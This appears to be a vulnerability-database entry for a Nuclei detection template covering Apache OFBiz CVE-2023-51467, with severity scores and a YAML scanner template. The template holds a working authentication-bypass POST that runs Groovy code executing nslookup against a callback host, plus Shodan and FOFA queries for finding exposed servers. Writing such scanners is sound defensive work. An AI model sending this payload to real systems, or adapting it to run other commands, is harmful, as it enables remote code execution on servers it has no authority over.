Apache OFBiz < 18.12.11 - Remote Code Execution

2023-12-2813:22:26

ProjectDiscovery

github.com

203

apache

ofbiz

remote code execution

server-side request forgery

authentication

bypass

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.639 Medium

EPSS

Percentile

97.9%

JSON

The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)

id: CVE-2023-51467

info:
  name: Apache OFBiz < 18.12.11 - Remote Code Execution
  author: your3cho
  severity: critical
  description: |
    The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
  reference:
    - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
    - https://www.openwall.com/lists/oss-security/2023/12/26/3
    - https://twitter.com/_0xf4n9x_/status/1740202435367543183
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
    - https://issues.apache.org/jira/browse/OFBIZ-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51467
    cwe-id: CWE-918
    epss-score: 0.58267
    epss-percentile: 0.97731
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2023,cve,apache,ofbiz,rce

http:
  - raw:
      - |
        POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'OFBiz.Visitor='
# digest: 4a0a00473045022100b1174f5e1d75faf17b66721527129b7e78eb527e22950400cc84c1e138218204022009f55a97efe8837f938969eeb491a4d5d83461831d844785e8b139881d19a963:922c64590222798bb761d5b6d8e72950